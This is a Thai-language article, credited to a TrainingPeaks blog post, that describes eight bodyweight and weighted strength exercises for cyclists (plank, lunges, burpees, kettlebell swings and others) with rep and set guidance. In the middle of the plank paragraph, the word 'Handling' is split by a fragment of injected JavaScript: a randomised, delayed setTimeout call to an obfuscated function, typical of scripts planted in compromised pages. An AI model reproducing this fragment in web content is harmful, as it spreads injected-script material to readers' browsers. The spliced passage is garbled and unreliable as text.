ต่อเนื่องจากบทความ Strength training กี่ครั้งกี่รอบ หนักเบาเท่าไหร และ 5 กระบวนท่าฝึกกล้ามเนื้อเพิ่มความเร็ว นักปั่นตัวยงคงจะได้ไอเดียไปแล้วว่า นอกเหนือจากการนั่งปั่นจักรยานเพียงอย่างเดียว การฝึก Strength training ก็สามารถช่วยเพิ่มความเร็วในการปั่นได้ด้วย
การฝึก Strength ที่นิยมกันคือ
1. Body Weight Exercises เป็นการฝึก Strength ที่ใช้น้ำหนักของร่างกาย สะดวก สามารถฝึกได้ทุกที่
ท่า Plank ที่ผสมการการเคลื่อนไหวเพิ่มเติมลงไป อย่างเช่นในตัวอย่าง ท่า Plank จะมีการยกขาขึ้นหนึ่งขาเพื่อเพิ่มความยากขึ้น เริ่มจากยกขาข้างใดข้างหนึ่งค้างไว้ 20-60 วินาที ก่อนสลับอีกข้าง จากนั้นค่อยๆ เพิ่มเวลาเป็น 60-90 วินาที
ให้ประโยชน์มากกับกล้ามเนื้อ core ไหล่ หน้าท้องและกล้ามเนื้อหลังด้านล่าง (lower back) การมีกล้ามเนื้อ core ที่แข็งแรงจะช่วยเพิ่มการ Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling ของจักรยาน ช่วยในการไต่เขาและเป็นแก่นกลางซัพพอร์ทกล้ามเนื้อช่วงบนและล่าง
ท่า Lunges เป็นท่าเคลื่อนไหวและการฝึกที่คล้ายเคียงการปั่นจักรยานมาก เพราะฝึกกล้ามเนื้อขา 1 ข้างต่อครั้ง เหมือนกับการปั่นที่ใช้ขา 1 ข้างต่อ 1 รอบการปั่นและสลับซ้ายขวาต่อเนื่องกันไป
ท่า Lunges จะให้ประโยชน์ต่อกล้ามเนื้อ quadriceps, เอวสะโพก (hips) และ hamstrings การฝึกนำให้เริ่มจากการทำแบบ body weight training ไปก่อน คือไม่ต้องมีการใช้ลูกตุ้ม ใช้น้ำหนักร่างกายเพียงอย่างเดียว เพื่อให้เราได้ฝึกฟอร์มที่ถูกต้องไปก่อน แล้วค่อยใส่ลูกตุ้มเพื่อเพิ่มน้ำหนัก แนะนำให้ทำ 15-30 ครั้ง 3-5 เซต
ท่า Leg lifts ฝึกกล้ามเนื้อส่วน Abdominals (หน้าท้อง)และ Hip flexors (เอวสะโพก) ทำ 15-25 ครั้ง 3-5 เซต
อาจจะเพิ่มความยากขึ้นได้โดยการยกส่วนหัว ให้ค้างมาแตะกับหน้าอกหรือช่วงหน้าท้องส่วนบน คล้ายๆ กับการทำ crunch ไปพร้อมๆ กัน
ท่า Burpee เป็นการฝึกแบบ Full body exercise ฝึกตรงข้อต่อและกล้ามเนื้อหลักๆ แถมเป้นการฝึกแบบ explosive movement (ฝึกระเบิดพลัง) ด้วย
แนะนำให้ฝึกที่ 10-20 ครั้ง 3-5 เซต ถ้าจะเพิ่มความยากลงไปให้ใส่การวิดพื้นเวลาอยู่ในท่า plank หรือกระโดดในจังหวะที่ยืนตัวตรงลง
2. Weighted Exercises การฝึกที่มีการเพิ่มน้ำหนัก อาจจะใช้ลูกตุ้มเป้นหลักหรือมีการใช้บาร์เบลก็ได้
กระบวนท่าแรก Renegade Rows ตั้งท่าเหมือนกับการทำ Plank แต่มือสองข้างถือลูกตุ้ม ยกลูกตุ้มขึ้นที่ละข้างหรือจะสลับกันก็ได้ ให้ทำเซตละ 15-30 ครั้ง 3-5 เซต ระหว่างเซตให้พัก 30-90 วินาที
ท่า Renegade Rows เป็นการฝึกแบบ full body ให้ผลเหมือนการฝึก plank และช่วยฝึกกล้ามเนื้อแผ่นหลัง (upper back) และกล้ามเนื้อแขน (Arms) ด้วย
ท่า Renegade Rows ยังช่วยเสริมสร้างความทดทานให้กล้ามเนื้อส่วน upper body ถ้าต้องการเพิ่มความยาก ให้ใส่การวิดพื้นลงไปครับ
Kettlebell Swings เป็นท่าที่ใช้การสวิง kettlebell ให้เริ่มเล่นจากน้ำหนักเบา เพื่อรักาฟอร์มให้ถูกต้อง แล้วค่อยๆ เพิ่มน้ำหนักลงไป ยอให้หลังตรง ดันลูก Kettlebell จากส่วนสะโพก (hip) และกล้ามเนื้อช่วงล่าง (lower body) ไปข้างหน้า แนะนำให้ทำเซตละ 15-25 ครั้ง 3-5 เซต พักระหว่างเซต 1-2 นาที
ท่านี้จะฝึกกล้ามเนื้อ Quards hamstrings และเอวสะโพก (hips) เป็นการฝึกที่เรียกว่า power endurance หรือการผสมระหว่างความทนทาน (endurance) ความเร็วและความแข็งแรง (Speed + Strength = Power)
ท่า Single leg deadlifts เน้นการฝึกกล้ามเนื้อ สะโพกเอว (Hips) และกลล้ามเนื้อ hamstrings ผสมการฝึกบาลานซ์ แนะนำให้เริ่มใช้น้ำหนัก 20-40 lbs หรือ 9-18 กิโลกรัม เชตละ 8-10 ครั้ง และเพราะกล้ามเนื้อขาแต่ละข้างต้องรับน้ำหนักมากกว่าปกติและเพื่อให้กล้ามเนื้อขาได้มีการปรับตัว จึงควรเปลี่ยนน้ำหนักเมื่อจบไปสัก 1-2 สัปดาห์ ค่อยๆ เพิ่มที่ละนิดนะครับ
การเคลื่อนไหวต้องค่อยๆ ทำ ไม่ต้องรีบ ให้เน้นการรักษาฟอร์ม โน้มตัวมาข้างหน้า หลังตรงหรือจะโค้งนิดหน่อยก็ได้ งอเข่าไม่ต้องเยอะ รักษาบาลานซ์และกล้ามเนื้อ core ให้ดี
Front squats จำเป้นต้องใช้ลูก Kettlebell สองลูกในการฝึก เน้นกล้ามเนื้อ Hips Quadriceps และ Hamstrings เริ่มจากน้ำหนักเบา แล้วค่อยๆ เพิ่มน้ำหนักไปเรื่อยๆ ใช้ฝึกความแข็งแกร่งและความทนทานของกล้ามเนื้อ แนะนำให้ทำเซตละ 15-30 ครั้ง
ในการฝึกควรมี Spotter หรือผู้ช่วยฝึกค่อยดูว่าเรารักษาฟอร์มถูกต้องหรือไม่ ท่าฝึกทั้ง 8 จะช่วยสร้างกล้ามเนื้อนักปั่นให้แข็งแรง สามารถผลิตพลังงานและมีความทนทานได้สูงขึ้น ท่าบางท่าสามารถทำได้ที่บ้านหรือโรงยิม จะใช้น้ำหนักตัวเองหรือเวทก็แล้วแต่จะเลือกท่าที่ฝึก ที่สำคัญต้องค่อยๆ ฝึกค่อยๆ สร้างความแข็งแกร่ง การโหมฝึกจะทำให้กล้ามเนื้อบาดเจ็บได้
ที่มา http://home.trainingpeaks.com/blog/article/the-best-strength-exercises-for-cyclists
